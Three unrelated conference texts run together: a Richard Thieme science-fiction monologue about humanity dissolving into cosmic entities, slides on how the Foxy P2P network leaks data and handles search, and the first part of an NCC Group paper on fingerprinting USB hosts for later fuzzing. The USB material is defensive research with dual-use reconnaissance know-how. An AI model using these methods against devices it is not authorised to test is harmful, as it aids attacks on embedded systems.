We were so proud to navigate that top step, letting ourselves
down carefully, knees scraping on the rough wood until we could
stand up and see the world from a new perspective: the tops of the
trees a little higher, the edge of the step against our legs like the
ledge of a cliff.
It seems like a dream, that time when the planet mattered, when
we were as gods. We were young then, just buds, full of the pride of
life, our outward migration a cloud of bats pouring out of a cave at
twilight. We called ourselves humanity or humankind, and we had
the audacity to make up names for other species. Whales. Lions.
Elephants. <laughter> We believed in our distinctions, dividing
everything up so it could be conquered. We followed the contours of
language into space as if what we described “out there” was inde-
pendent of ourselves. Our words wrinkled and slashed into the
spaces between the worlds and we came tumbling after.
Now we know better. Nothing is out there. Nothing at all.
Let me try to explain. Forgive my primitive images, please, and
please forgive my archaic language. I am not trying to talk down to
you. I am using metaphors preferred by children learning their first
words because that’s what humankind is and does. The Froth over-
flows your tiny cup like bubbles on the lips of a nursing child. Of
course we are not limited by Ourself(Itself) to such a small container.
Richard Thieme
6
Mind Games
7
And yet we are. We are the smallest bubble on the corner of that
baby’s mouth. So drink, my precious child, my beloved child, drink
all of your milk and you will grow big and wise and strong.
Out here, in the expanding space of (y)our outward migration,
we encountered trillions of windows that open onto the universe.
Even on our home planet, our small precious blue world, there were
millions of perspectives. Yet we had the arrogance to think that the
window through which we leaned, craning our necks like immi-
grants in a tenement to see past the laundry that hung between the
buildings, was the only aperture that mattered.
We called everyone else an “alien,” as the ancient Greeks called
everybody barbarians. Even after Contact, when the Little Truth
became obvious and coherent at last, when decades of periodic
encounter with anomalous and intelligent beings had finally drip-
dripdripped into a steady trickle and percolated through our defens-
es and denial died at last, even then we called them “aliens” instead
of Wrzzzzarghx or Lem-Lem-Three-bang)! or HelllenWuline. And
that was just the Tight Group from the few stars in our neighbor-
hood. The Skein was the stuff of legend then. We gave it hundreds
of names and celebrated them all in story and song. In our innocence,
we spoke of “wormholes” as if beings of significant size could
squeeze through them and blip blip into hyperspace. <chuckle> We
felt ourselves Big then, bigger than anything else, which happens
often just before the bubble pops. (Yes. Write that down, please, and
refer back to it later.) When the down-a-thousand offspring of the
HelllenWuline twice-twisted showed us how teleportation really
happens, humanity died dead. Yet memory (as we called that wrin-
kling in the diaphanous fabric of the Skein) flows that we celebrated
in the streets of thousands of cities on hundreds of planets, so excited
were we all to be free of our local star-allegiance at last. The geodesic
was so interlaced with cross talk that everyone became. The Skein
Richard Thieme
8
emerged in our consciousness like the grin of the Cheshire cat.
Now, when I say “we,” I mean the beings who had coalesced into
and around our common purpose then, however dimly we glimpsed
our reflected image. “We” were what we had made of ourselves, a
Being(we) that made Accidental Humanity look like a small primi-
tive tribe in a lost forest. So humanity – for all intents and purposes –
was long gone and we were more. But we still hadn’t grasped the
true nature of the Skein.
Teleportation turned us into toddlers coming down those front
steps, ready to hop skip and a-jump around the all the way around
the long way around the whole block.
But not alone. No, not alone. Once we had exchanged data with
the down-a-thousand twice-twisted spliced pairs, with the *66^^^
(the six/six) and the Yombo-wh-!~~ from far beyond the clouds in
our local groups of galaxies, we were no longer remotely human.
(Do I repeat myself? Very well, I repeat myself). Humankind had
vanished into the Strands of the Hundred-and-Twelve. Only the
museum (a crease in the Skein like a memory) preserved molecular
clusters of how it felt to think like primitive humanity, placing
ourselves at the center of the universe, as happy as rabbits scamper-
ing in the grass and as dumb as a box of rocks. So use the museum
to enter again into those primitive languages. When we do, we
immediately feel the constraint of our childlike thinking binding us
like wet rawhide wrapped around, shrinking in the sun. The cul-
tures of Accidental Humankind had once been comfortably snug.
Then they grew tight and then they became suffocating. Time to
breathe. Time to be free. You would think we would have bolted for
the opening door and leaped from the edge of the cliff, but human-
kind is a funny duck. Even on the edge of surrendering, we experi-
enced the expansion of possibility as something to be resisted.
Mind Games
9
Humankind resisted it’s own destiny, even as it arrived. As if to
become more was in fact to become less.
It is no wonder then that traits like that were discarded and the
attitudes of the Nebular Drift, as they were called, those thousands
of trans-galactic cultures that had grown into a single Matrix, were
integrated instead into the way we made ourselves make ourselves.
The Hundred-and-Twelve was a single thread, humankind a reces-
sive gene in the deep pool of the Matrix.
Once we had engaged for millennia in multiple replication and
had manufactured the attributes we preferred, we were no longer at
the mercy of molecules that had piled up
willy-nilly to create an interesting but pot-bound species. And
along the way, you had better believe, now write this down! Yes, I
mean it! This is important. Along the way, we
made plenty of mistakes. Now we can see they’re what they(we)
called funny then. They can still be observed in a simulation of a
replication of a holographic set in the Skein that anyOne can access.
Unhappy humanitads unable to laugh, horse-laughing humanitoids
unable to think, chip-whipped hummans unable to dance. We did
not know that laughing and thinking and dancing made humans
human, then. The trick was getting the mix just right. And that, we
discovered through trial-and-error <yes! spell it for me! Good!>
meant a mix that was right for the Skein, not just a species or planet
or galaxy. A mix that made the trans-Matrix a rich broth of diverse
possibilities. We became adept at pan-galactic speciation only when
we learned to think macro, manage multiple images of more than
millions of stars swarming with warm sentience. We finally identi-
fied consciousness, intensionality, and extenuation as hallmarks of a
mature being(people)-or:species and the necessary attributes of any
viable hive.
Richard Thieme
10
Consciousness is a field of possibility, self-luminous, unabstract-
ed, boundless. It is a way the wrinkles in a diaphanous fabric (as it
were) invite self-definition. Our subjectivity is our field of identity,
shaped by the Skein.
To review, then, my little ones: <I know how tired you are.
Believe me(me)[me]{me}, I remember!> We gave species names.
Thousands of cycles later we discerned a pattern of trans-galactic
distribution and nested disintermediation and called it a void Warp.
At last we called ourselves(=Self) the Skein and were ready to take
that first tentative step off our front porch.
We had expanded plenty by then, into ourSelves, hollowing
hundreds of inhabited galaxies, filling them with Nothing. We began
to understand that there was neither out nor in, there was only the
Skein becoming aware of itSelf. All of the names were arbitrary
vocables, but even that simple fact was beyond the capacity of a
human brain truly to grasp. I know, because I fed the primitives into
the simulated human mind and the Skein belched. So even as the
Skein continued to manifest itself at all levels, a remnant of humani-
ty like an eddy, a backwater, on a single planet continued like the tip
of a whorl of a swirling fractal to think one thing. The Skein, of
course, knew many things, but knew too they were really One.
How could we-it, how could the Skein, manifest at every level?
An excellent question! Because how we define the system depends,
dear ones, on the level at which we choose to observe it. Everything
is nested, connected. Yes. Messy and messless. Very good!
Well, my dearly beloveds, let us continue: The Skein was more
than context, the Skein was/izz the content of whatever we had no
longer happened to become. Now we became. Our languages frac-
tured once and for all when we tried to name ourSelf in the Skein.
Looking back at the nested levels of linguistic evolution, we can see
how we were spoken by our primitive language, all unconscious
Mind Games
11
that we were carried along for the long ride outward, oblivious to
how language was made. Then we learned how to make progeny
that made language that made progeny that made language and so
on and so on, down-a-thousand-thousand. Accidental Humanity
had to vanish, so do not grieve for what is only never lost <twinkle>.
We learned how to extend ourselves until we were singular, flexing
inside ourselves(ourSelf), our awareness nearly identical to the mo-
lecular enterprise we had chosen to become. When we look back or
across the translucent folds of the Skein or – as some say – when we
look into the Emptiness and see what we created out of Nothing …
no wonder the new skin/Skein growing all the while under the old
was experienced as something new, when in fact it was always the
Skein, a field of subjectivity within which we had always been
woven, always dimensioned. Yet even then, our arrogance persisted,
because the Skein was aware of itself as a journey moving outward
at increasing speeds, rather than a spiral closing in on itself.
The more matter was ingested and became the frame of the
evolving Skein, the less able the Skein became of saying anything at
all. The Skein fell into Mute, when the edges of the known universe
were discerned not in some simulation but as the finite-but-un-
bounded possibility of Skein itself. There was, after all, nothing more
to say; language no longer served a useful purpose. The numbers of
differentiated apertures through which the Skein experienced itself
had advanced to something like 2 to the 32nd power, but every single
one <laughter> was Skein and aware of itself as Skein. Except the
ones that weren’t, but they were Skein too. <Remember yourselves!
Remember that planet!> The configuration of energy and informa-
tion that had animated itself so many millions of eons ago had
reached the near-term goal of expansion. As we understood or
defined it, of course.
We knew by then that we had chosen only one way to expand,
Richard Thieme
12
filling spacetime co-extensible with our awareness, we knew there
had been millions of other possibilities, each a perfectly good way of
being the Skein. But then we arrived at the edge of the front porch
for the first time and slipped going down and landed, whapht! on
our ass on the second step. We hadn’t seen it coming but (obviously)
in retrospect, it was inevitable.
What the Skein boldly called the Known Universe was in fact
merely a bubble of Froth that Second Contact dimensioned
some/what so immense that we had to regress, we were so confound-
ed by the Bigger Truth of it all, so aghast at the muchness of it, the
wildness of it, the sizes and sizes! We were like a child(Children)
called suddenly (prematurely? No, I did not say that) to advance to
a level of comprehension and self-responsibility unimaginable to
our little brain. So we stuck our thumb in our mouth and began
babbling. Yes, the Skein started speaking again, just before it disap-
peared.
We know now that the Skein had no choice, and of course, what
I call “speaking” resembles primitive utterable tongues as an explod-
ing galaxy resembles the darkness of a limestone cave in one of your
green hills. The Skein needed to differentiate itself in order to extend
itself through the aperture that disclosed new possibilities that the
Skein had been unable to imagine in its finite-but-unboundedness.
Now, of course, we just call it “reality.” Then, it blew the mind –
literally – of the Skein. Mind disappeared, and the Skein experienced
itself as a field of consciousness, unabstracted, self-luminous, bound-
less. More important, the Skein saw that it too was merely an emer-
gent reality, a Self as illusory as that which humanity had called
ourSelf/itSelf.
It had to happen. We know, we know it did. But forgive us please
a wispy remnant of wistful feeling. The way the Skein dreamed was
childlike. The Skein planned Little, while thinking it was thinking
Mind Games
13
Big. Now we understand <smile> pause. <smile> We met ourselves
in the Froth like a child with paper and pencil doing sums while the
Froth was more like oh, lets say a Supercomputer(s), a dimensionless
web of quantum computers that networked forever, indistinguish-
able from its means. The Froth was like an old Apple under a tree on
a morning of giving/receiving gifts. Or perhaps an entire planet
under a heaventree of stars wrapped in the fabric of spacetime. Oh,
more. More. The Skein reached its limit because it experienced the
Next Step as limitlessness, while the Skein had built itself to manage
only finite-but-unboundedness. However many possibilities we had
included in our/its schema, the fact that they could be numbered
however numberless the numbers was simply a careless mistake.
Back to the drawing board, boys and girls. Trial-and-error means
we make mistakes. Never forget. The Skein over-reached itself
through the aperture into the Froth and became the Asymmetric
Foam that now is flowing with growing confidence in its capacity to
enhance the possibilities that glow with nascent mentation on the
outer inner edges of the Froth. We are the emptiness of the Froth.
Our destiny has been to become Nothing. We understand at last (we
say with downcast eyes and chastened demeanor, knowing we
understand nothing, nothing at all, knowing that we are like chil-
dren standing on our front porch, looking down at our skinned
knees and the first step). The Froth looks to humankind in its plane-
tary crib like a hydra-headed fractal, the Skein like a bubble in the
Froth. We believe the Froth Knows Whereof it Speaks, while the
Skein, bless its heart, has outgrown its worn yellow one-piece sleep-
er. It is time for the Skein to buy itself a new suit.
And die to being the Skein forever. Yet within the Froth what was
the Skein meets and embraces what had been … even Our/its lan-
guage breaks, the billion Skein-like non-Skeins smiling inside out-
side at the sheer impossibility of saying anything at all. We are the
Richard Thieme
14
Froth and the Froth is evolving toward the Second Mute. But try.
<Why> because humankind tries. Humankind tiny but laughs and
thinks and dances the Froth. Small and so adorable, humbled now,
humankind on its wee planet. Tip of a swirl. A swirl in a whorl of a
spiral.
Try. Try again.
<sigh> <smile>
The Froth however dimples, dimples again and gimbles, all mim-
sy as the Skein, laughing and dancing, ola! Loa! High! High! Leaps
over the fire to become twice blasted twice undone. | pdf |
Tsung Pei Kan
[email protected]
1
Graduated from Central Police University . He likes to study about
Kernel and Reverse Engineering. He is interested in the subject of
Computer Forensic. He’s working for National Police Agency now.
Besides, he is also the docent for Taiwan Network Information Center.
At the beginning of last year he developed a scanner based on
behavioral analysis call "NPASCAN", it can detect and exam the
unknown malware very quickly. The most important thing is you can
free download from the NPA website.
Special skills:
Windows System Programming
Malicious Software Analysis
Software Reversing
Computer Forensics
Experience
National Police Agency (NPA)
Information Department
Criminal Investigation Bureau (CIB)
High-Tech Crime Investigation Center
Information Department
2
Foxy is a Chinese P2P software which is
popular in Taiwan, China,Hong Kong and
Macau.
It is based on the Gnutella and G2 architecture.
3
Data leaked
into Foxy P2P
network(TW)
4
Data leaked
into Foxy P2P
network(TW)
5
6
7
8
9
Although they have different UI, these clients
join to the same P2P network.
Do not think that you did not install foxy, so
your data will be safe.
10
11
11
Adsl dial
Id/Password
12
Sharing
nodes can’t
be seen in an
easy way.
The file will
be shared
immediately
after
downloading.
Limited
software
function
Only Foxy
can join to
the Foxy
network
13
Connect to Foxy
Search from Foxy
Download from foxy
14
GWebCaches
15
16
GNUTELLA CONNECT/0.6
Listen-IP: 61.57.116.229:24499
Remote-IP: 203.185.52.200
User-Agent: Foxy 1.8.6.0
Accept: application/x-gnutella2
X-Ultrapeer: False
Accept-Encoding: deflate
X-Auth-Challenge: KxElu1Q
17
GNUTELLA/0.6 200 OK
Listen-IP: 203.185.52.200:7952
Remote-IP: 61.57.116.229
User-Agent: Foxy 1.9.10.0
Content-Type: application/x-gnutella2
Accept: application/x-gnutella2
X-Ultrapeer: True
Accept-Encoding: deflate
X-Auth-Response: RhXb6zC5Yss
X-Auth-Challenge: 3H5HtDHD
X-Try-Hubs: 219.78.62.158:10686 2010-10-
03T15:37Z,111.249.145.101:18218
18
GNUTELLA/0.6 200 OK
X-Ultrapeer: False
Content-Type: application/x-gnutella2
Content-Encoding: deflate
X-Auth-Response: PLHJxI7zcKU
Using custom Tiny Encryption Algorithm (TEA) and
Base64 algorithm.
Foxy is a closed Gnutella P2P network
19
20
21
22
Ultrapeer
Ultrapeer
Ultrapeer
Ultrapeer
23
24
25
26
Now…
27
Network
Connected
28
Input the
search
keyword
29
Sharing
Nodes
Resolved host
Which nodes are
sharing the file?
30
Downloading
31
More information
32
各結點傳輸協定
File part list
Receving
33
Gnutella's distributed search protocol allows
a set of peers, servents or clients, to perform
filename searches over other clients without
the need of an intermediate index server.
The Gnutella network topology is a pure Ad-
Hoc topology where clients may join or leave
the network at any time without affecting the
rest topology in any sense.
34
Recall that using the purely decentralized version, packets are flooded
throughout the network.
If the v0.6 ultrapeer recommendation is implemented, searching is
optimized using Query hash tables(QHTs).
A QHT is maintained by each node, and describes the
content it is sharing.
An ultrapeer maintains an aggregate of its leaf's QHTs
and its own QHT.
Searches are performed by forwarding a query to an
ultrapeer, who checks its aggregate QHT for a match.
▪ If there is a match, the query is forwarded to the appropriate
leaf, otherwise the query is forwarded to neighbouring
ultrapeers by “flooding”.
35
36
37
38
If we assume that each p is connecting to averagely 5
other peers (which is usually much higher) and will
forward a message only in a depth of 7 (i.e. TTL=7),
which is also typical for a Gnutella client and assuming
that each peer is using message flooding, which
means that Mp fake responses will be sent to all of its
peers we will averagely reach 20,480 other p.
The reach is determined by n (# connections to other
hosts) and TTL :
Assumption: nodes all have the same n and TTL.
TTL
t
t
n
n
1
1) 1.
(
39
Decentralized, 2-tier.
This architecture is recommended for
Gnutella in v0.6.
New node enters by connecting to a
known hub (almost identical to
Gnutella's handshake).
Hubs typically accept 300-500 leaves,
and connect to 5-30 other hubs.
Leaves typically connect to 3 hubs.
40
Ultrapeers are called “hubs”.
Uses a QHT like Gnutella, but if a hub cannot
match a query to its aggregate QHT, it checks a
set of caches:
Each hub maintains a cached copy of each
neighbouring hub's aggregate QHT.
Upon a search miss, a hub will try to match the query
against its cached copies of its neighbours QHTs.
If the query matches, it will forward the query once,
and the node that receives the query processes it and
directly sends the result back to the client.
If no match is made, the searching client will continue
at another untried hub.
41
Ultrapeer
Ultrapeer
Ultrapeer
Ultrapeer
42
43
44
http://evchk.wikia.com/wiki/Foxy
http://www.cs.hku.hk/cisc/event/20080827_FoxyPCO/
FoxyPCO_20080827.pdf
http://en.wikipedia.org/wiki/Foxy_(P2P)
http://alumni.cs.ucr.edu/~csyiazti/courses/cs260-
2/project/gnutella.pdf
http://limewire.negatis.com/index.php?title=Dynamic
_Querying
http://crawler.trillinux.org/status.html
www.scs.carleton.ca/~kranakis/523-
course/Thorpe.ppt
http://gnucleus.cvs.sourceforge.net/viewvc/gnucleus/
45
[email protected]
If you have any questions, please contact me at
46 | pdf |
© Copyright 2013 NCC Group
An NCC Group Publication
Revealing Embedded Fingerprints: Deriving
Intelligence from USB Stack Interactions
Prepared by:
Andy Davis
Research Director
andy.davis ‘at’ nccgroup.com
NCC Group | Page 2
© Copyright 2013 NCC Group
Contents
1
List of Figures and Tables .......................................................................................................... 3
2
Introduction .................................................................................................................................. 4
2.1
Previous Research ................................................................................................................ 4
3
USB Background: The Enumeration Phase in Detail ............................................................... 4
4
USB Testing Platform .................................................................................................................. 8
5
USB Stack Implementations ....................................................................................................... 9
6
Identifying Supported Devices ................................................................................................. 10
6.1
USB Device Classes ........................................................................................................... 10
6.2
Enumerating Installed Class Drivers ................................................................................... 12
6.3
Other Devices Already Connected...................................................................................... 13
7
Fingerprinting Techniques ....................................................................................................... 14
7.1
Operating System Identification .......................................................................................... 14
7.2
Application Identification ..................................................................................................... 14
7.3
Timing Information .............................................................................................................. 15
7.4
Descriptor Types Requested .............................................................................................. 16
7.5
Responses to Invalid Data .................................................................................................. 17
8
Umap ........................................................................................................................................... 17
9
Conclusions ............................................................................................................................... 23
10
References and Further Reading ........................................................................................ 24
11
Glossary ................................................................................................................................. 24
NCC Group | Page 3
© Copyright 2013 NCC Group
1 List of Figures and Tables
Figure 1: The use of a Facedancer board in conjunction with a Packet-master USB analyser
Figure 2: Enumeration stops at “Set Configuration” when a device class is not supported
Figure 3: Enumeration continues past the “Set Configuration” when a device class is supported
Figure 4: A Packet-master capture showing multiple USB devices connected to the same bus
Figure 5: Linux-based TV Set-Top-Box
Figure 6: Windows 8
Figure 7: gphoto2 (Linux)
Figure 8: “Photos” Metro app (Windows 8)
Figure 9: USB timing information during enumeration
Figure 10: Umap basic help
Figure 11: The USB device classes that umap currently understands
Figure 12: Umap identifying supported classes, sub-classes and protocols
Figure 13: The umap VID/PID lookup facility
Figure 14: The umap operating system identification capability
Figure 15: Umap emulating a USB camera
Figure 16: Generic USB fuzz test cases
Figure 17: Class-specific USB fuzz test cases
Figure 18: Umap fuzzing a USB host
Table 1: Get Device descriptor request
Table 2: Device descriptor
Table 3: Configuration descriptor
Table 4: Interface descriptor
Table 5: Endpoint descriptor
Table 6: HID descriptor
Table 7: String descriptor
Table 8: Set Configuration request
Table 9: USB Device classes
Table 10: Hub class information in a Device descriptor
Table 11: Image class information in an Interface descriptor
Table 12: VID and PID information in a Device descriptor
Table 13: Microsoft OS descriptor request
NCC Group | Page 4
© Copyright 2013 NCC Group
2 Introduction
Embedded systems are everywhere, from TVs to aircraft, printers to weapons control systems. As a
security researcher when you are faced with one of these black boxes to test, sometimes in situ, it is
difficult to know where to start. However, if there is a USB port on the device. there is useful
information that can be gained. In this paper we will show how USB stack interaction analysis can be
used to provide information such as the OS running on the embedded device, the USB drivers
installed, and the devices supported. When testing the security of a USB host stack, knowledge of
the installed drivers will increase the efficiency of the testing process dramatically.
2.1 Previous Research
There has been plenty of previous research into the security of USB in recent years, which has
mainly focussed on different approaches to enable USB hosts to be tested for vulnerabilities
[Davis][Dominguez Vega][Larimer]. However, the author is only aware of one reference to research
involving the use of USB interactions to identify information about the host stack [Goodspeed].
3 USB Background: The Enumeration Phase in Detail
USB is a master-slave protocol, with the host as the master and devices as slaves. Only the master
can make requests to slaves and not the other way round, which poses a problem as we are trying to
identify information about the configuration of the host from the perspective of a slave (device).
Therefore we need to observe the way the host requests information in great detail, and also to
provide potentially unexpected answers to the host’s requests, generating unique behaviour in the
host, which can then also be observed.
The initial communication any USB device has with a host is during enumeration. Enumeration is the
mechanism by which a USB host determines the status, configuration, and capabilities of an inserted
USB device. The process begins when a device is mechanically inserted into the host and follows a
number of steps:
There are four lines on a USB connector: Vcc (+5V), GND (0V), positive data (D+) and negative data
(D-). Prior to a device being connected, D+ and D- are connected to GND via a 15K resistor. At the
point of insertion, different resistors and differential signals are used to determine the speed of the
connected device:
A low speed device (1.5Mbps) connects D- to Vcc via a 1K5 pull-up resistor
A full speed device (12Mbps) connects D+ to Vcc via a 1K5 pull-up resistor
A high speed device (480Mbps) connects D+ to Vcc via a 1K5 pull-up resistor (and hence
initially appears to be a full speed device). The host then attempts to communicate at
480Mbps with the device using J and K chirps (a J chirp is a differential signal on D+ and D-
>= +300mV, whereas a K chirp is >= -300mV). If the communication fails the host assumes
the device is a full speed device rather than a high speed device.
Now that the host knows what speed it can use to communicate with the device, it can start
interrogating it for information. An 8-byte SETUP packet called the setup transaction (Table 1) is sent
by the host in the first phase of a control transfer. It contains the request “GET_DESCRIPTOR” (for
the device descriptor) and is sent using address 0.
The device then responds with an 18-byte device descriptor, also on address 0 (Table 2).
NCC Group | Page 5
© Copyright 2013 NCC Group
Table 1: Get Device descriptor request
Table 2: Device descriptor
Table 3: Configuration descriptor
Field
Value
Meaning
bmRequestType (direction)
1
Device-to-host
bmRequestType (type)
0
Standard
bmRequestType (recipient)
0
Device
bRequest
0x06
Get Descriptor
wValue
0x0100
DEVICE Index = 0
wIndex
0x0000
Zero
wLength
0x0040
Length requested = 64
Field
Value
Meaning
bLength
18
Descriptor length (including the bLength field)
bDescriptorType
1
Device descriptor
bcdUSB
0x0110
Spec version
bDeviceClass
0x00
Class information stored in Interface descriptor
bDeviceSubClass
0x00
Class information stored in Interface descriptor
bDeviceProtocol
0x00
Class information stored in Interface descriptor
bMaxPacketSize0
8
Max EP0 packet size
idVendor
0x413c
Dell Inc
idProduct
0x2107
Unknown
bcdDevice
0x0178
Device release number
iManufacturer
1
Index to Manufacturer string
iProduct
2
Index to Product string
iSerialNumber
0
Index to serial number
bNumConfigurations
1
Number of possible configurations
Field
Value
Meaning
bLength
9
Descriptor length (including the bLength field)
bDescriptorType
2
Configuration descriptor
wTotalLength
34
Total combined size of this set of descriptors
bNumInterfaces
1
Number of interfaces supported by this configuration
bConfigurationValue
1
Value to use as an argument to the SetConfiguration()
request to select this configuration
iConfiguration
0
Index of String descriptor describing this configuration
bmAttributes (Self-powered)
0
Bus-powered
bmAttributes (Remote
wakeup)
1
Yes
bmAttributes (Other bits)
0x80
Valid
bMaxPower
100mA
Maximum current drawn by device in this configuration
NCC Group | Page 6
© Copyright 2013 NCC Group
The most important data in the device descriptor is:
Device class information (if present)
Maximum packet size in bytes of Endpoint 0
Vendor and Product IDs (VID and PID)
Number of configurations
The host resets the device, allocates an address to it (in the range of 1 to 127) and then re-requests
the device descriptor using the new address.
For each possible configuration, the host will request a configuration descriptor, an example of which
is shown in Table 3. The configuration descriptor includes a number of further descriptors (interface
and endpoint, examples of which are shown in tables 4 and 5 respectively); however, the primary
fields of interest are:
Number of interfaces supported by this configuration
The power attributes that indicate if the device is self- or bus-powered and the maximum
current the device will draw.
Table 4: Interface descriptor
Table 5: Endpoint descriptor
Field
Value
Meaning
bLength
9
Descriptor length (including the bLength field)
bDescriptorType
4
Interface descriptor
bInterfaceNumber
0
Number of this interface
bAlternateSetting
0
Value used to select this alternative setting for the
interface identified in the prior field
bNumberEndpoints
1
Number of endpoints used by this interface
bDeviceClass
0x03
HID
bDeviceSubClass
0x01
Boot interface
bDeviceProtocol
0x01
Keyboard
iInterface
0
Index of string descriptor describing this interface
Field
Value
Meaning
bLength
7
Descriptor length (including the bLength field)
bDescriptorType
5
Endpoint descriptor
bEndpointAddress
0x81
Endpoint 1 – OUT
bmAttributes
0x03
Interrupt data endpoint
wMaxPacketSize
0x0008
Maximum packet size is 8
bInterval
0x0a
10 frames (10ms)
NCC Group | Page 7
© Copyright 2013 NCC Group
Within the interface descriptor, the important information is:
Number of endpoints
Class information (interface-specific information not provided in the device descriptor)
An endpoint descriptor contains:
The endpoint address and type
The maximum packet size in bytes of the endpoint
Sometimes class-specific descriptors are included within the configuration, for example the HID
descriptor in Table 6:
Table 6: HID descriptor
If there are multiple configurations for a device then further configuration (as well as interface,
endpoint, etc.) descriptors will be requested.
The next descriptors requested are string descriptors, which provide human-readable information
about the device type and vendor. An example is shown in Table 7.
Table 7: String descriptor
The final step is for the host to select one of the device configurations and inform the device that it
will be using that configuration. This is performed by issuing a “Set Configuration” request, as shown
in Table 8.
Field
Value
Meaning
bLength
9
Descriptor length (including the bLength field)
bDescriptorType
0x21
HID
bcdHID
0x0110
HID Class Spec Version
bCountryCode
0
Not Supported
bNumDescriptors
1
Number of Descriptors
bDescriptorType
34
Report descriptor
wDescriptorLength
65
Descriptor length
Field
Value
Meaning
bLength
48
Descriptor length (including the bLength field)
bDescriptorType
3
String descriptor
bString
“Dell USB
Entry
Keyboard”
NCC Group | Page 8
© Copyright 2013 NCC Group
Table 8: Set Configuration request
The enumeration phase is now complete, with the USB device configured and ready to use. From
now until the device is removed, class-specific communication is used between the device and the
host. However, as we will discuss later, there are variations to this enumeration phase which can be
used to fingerprint different host implementations.
4 USB Testing Platform
Additional hardware is needed to interact with USB, so that different USB devices can be emulated.
There are a number of requirements for this testing platform:
The ability to both capture and replay USB traffic: There are many USB analyser tools available,
but only a few that allow captured traffic to be replayed; an ability that is crucial in this instance.
Full control of generated traffic: Many test-equipment-based solutions restrict the user to
generating traffic that conforms to the USB specification. We need full control of all aspects of any
generated traffic, as the host many behave in an unexpected way if it receives unconventional data,
which is what we are hoping to observe.
Class decoders are extremely useful: For each USB device class (e.g. mass storage, printer),
there are separate specification documents that detail the class-specific communications protocols.
Having an application that understands and decodes these protocols makes understanding the class
communication significantly easier.
Support for multiple speeds: USB devices, depending on their function, operate at a number of
different speeds; therefore the ability to capture and generate data at these different speeds is
crucial if the whole range of devices is to be emulated.
The solution chosen for this project comprised two primary components: A commercial USB analyser
and generator – Packet-Master [MQP], and a bespoke device emulation board called Facedancer
[GoodFET]. Figure 1 shows how they are used together.
Figure 1: The use of a Facedancer board in conjunction with a Packet-master USB analyser
Field
Value
Meaning
bmRequestType (direction)
0
Host-to-device
bmRequestType (type)
0
Standard
bmRequestType (recipient)
0
Device
bRequest
0x09
Set Configuration
wValue
0x0001
Configuration No.
wIndex
0x0000
Zero
wLength
0x0000
Zero
NCC Group | Page 9
© Copyright 2013 NCC Group
The benefit of using both devices is that fully arbitrary USB traffic can be generated by Facedancer,
acting as a USB device, and the responses from the host under test can be captured by the Packet-
Master appliance. However, for the majority of the techniques described in this paper, just a
Facedancer board would suffice.
5 USB Stack Implementations
USB is quite a complex protocol, especially as it provides backward compatibility to support older,
slower devices. Therefore, implementations of the host stack on different operating systems can
behave in different ways, as we hoped to observe during this research. Typical components within a
USB host stack are as follows:
Host controller hardware: This performs the low-level timing and electrical aspects of the protocol
and is communicated with via a host controller interface.
Host controller interface (HCI): There are a number of different HCIs that have been developed
over the years, all of which have different capabilities, but the primary difference is their ability to
support devices running at different speeds; they are:
oHCI (Open Host Controller Interface)
eHCI (Enhanced Host Controller Interface)
uHCI (Universal Host Controller Interface)
xHCI (Extensible Host Controller Interface)
Host controller driver: This provides a hardware abstraction layer so that the host can
communicate via the controller interface to the hardware.
USB core: The component that performs core functionality such as device enumeration
Class drivers: Once enumeration is complete and control has been passed to a USB class driver,
communication specific to the connected device is processed by the class driver
Application software: When a USB device is inserted a host may start an application specific to the
class of that device (e.g. an application that displays photos when a camera device is connected).
NCC Group | Page 10
© Copyright 2013 NCC Group
6 Identifying Supported Devices
For USB host vulnerability assessment via fuzzing it is important to establish what device classes are
supported. This is because USB fuzzing is a relatively slow process – each test case requires the
virtual device to be “inserted” and “removed” via software, resulting in enumeration being performed
each time. The USB protocol is designed to expect a human, rather than a computer, to insert a
device, and so timing delays result in each test case taking several seconds to complete. If
functionality that is not supported by the target host is fuzzed then this can waste large amounts of
testing time.
6.1 USB Device Classes
There are a number of high level USB device classes; these are shown in Table 9.
Table 9: USB Device classes
USB device class information can be stored in a number of different places within the descriptors
provided during enumeration. The information is provided in three-byte entries:
bDeviceClass – the high level device class (e.g. mass storage)
bDeviceSubClass – specific information about this device (e.g. SCSI command set)
bDeviceProtocol – the protocol used (e.g. bulk transport (BBB))
Taking the mass storage class as an example, the following are the available sub-classes:
De facto use
RPC
MMC-5 (ATAPI)
Base Class
Descriptor Usage
Description
0x00
Device
Use class information in the Interface Descriptors
0x01
Interface
Audio
0x02
Both
CDC (Communication and Device Control)
0x03
Interface
HID (Human Interface Device)
0x05
Interface
Physical
0x06
Interface
Image
0x07
Interface
Printer
0x08
Interface
Mass Storage
0x09
Device
Hub
0x0a
Interface
CDC-Data
0x0b
Interface
Smart Card
0x0d
Interface
Content Security
0x0e
Interface
Video
0x0f
Interface
Personal Healthcare
0x10
Interface
Audio/Video Devices
0xdc
Both
Diagnostic Device
0xe0
Interface
Wireless Controller
0xef
Both
Miscellaneous
0xfe
Interface
Application Specific
NCC Group | Page 11
© Copyright 2013 NCC Group
QIC-157
UFI
SFF-8070i
SCSI
LSD FS
IEE 1667
Vendor specific
For each of these mass storage sub-classes there are also a number of possible protocols:
CBI with command completion interrupt
CBI without command completion interrupt
BBB
UAS
Vendor specific
So, as you can see, the potential attack surface of a USB host is enormous; but it is important to
establish which functionality is supported prior to any active fuzz testing.
Some devices, such as the hub in Table 10, store their class information in the device descriptor.
Table 10: Hub class information in a Device descriptor
However, more commonly, the class information is interface specific and is therefore stored in the
interface descriptor (within a configuration descriptor), as with the image class device in Table 11.
Table 11: Image class information in an Interface descriptor
Field
Value
Meaning
bLength
18
Descriptor length (including the bLength field)
bDescriptorType
1
Device descriptor
bcdUSB
0x0200
Spec version
bDeviceClass
0x09
Hub
bDeviceSubClass
0x00
Full Speed Hub
bDeviceProtocol
0x01
Default
…
Field
Value
Meaning
bLength
9
Descriptor length (including the bLength field)
bDescriptorType
4
Interface descriptor
bInterfaceNumber
0
Number of this interface
bAlternateSetting
0
Value used to select this alternative setting for the
interface identified in the prior field
bNumberEndpoints
3
Number of endpoints used by this interface
bDeviceClass
0x06
Image
bDeviceSubClass
0x01
Default
bDeviceProtocol
0x01
Default
…
NCC Group | Page 12
© Copyright 2013 NCC Group
When emulating specific device types, whether the class information is provided to the host in the
device descriptor or in an interface descriptor depends on the device.
6.2 Enumerating Installed Class Drivers
To identify which device classes are supported by a USB host, emulated (class-specific) virtual
devices need to be presented to the host iterating through each device class, sub-class, and protocol
whilst monitoring the enumeration process. If a device is not supported then the enumeration phase
will stop at the “Set Configuration” command, as shown in Figure 2.
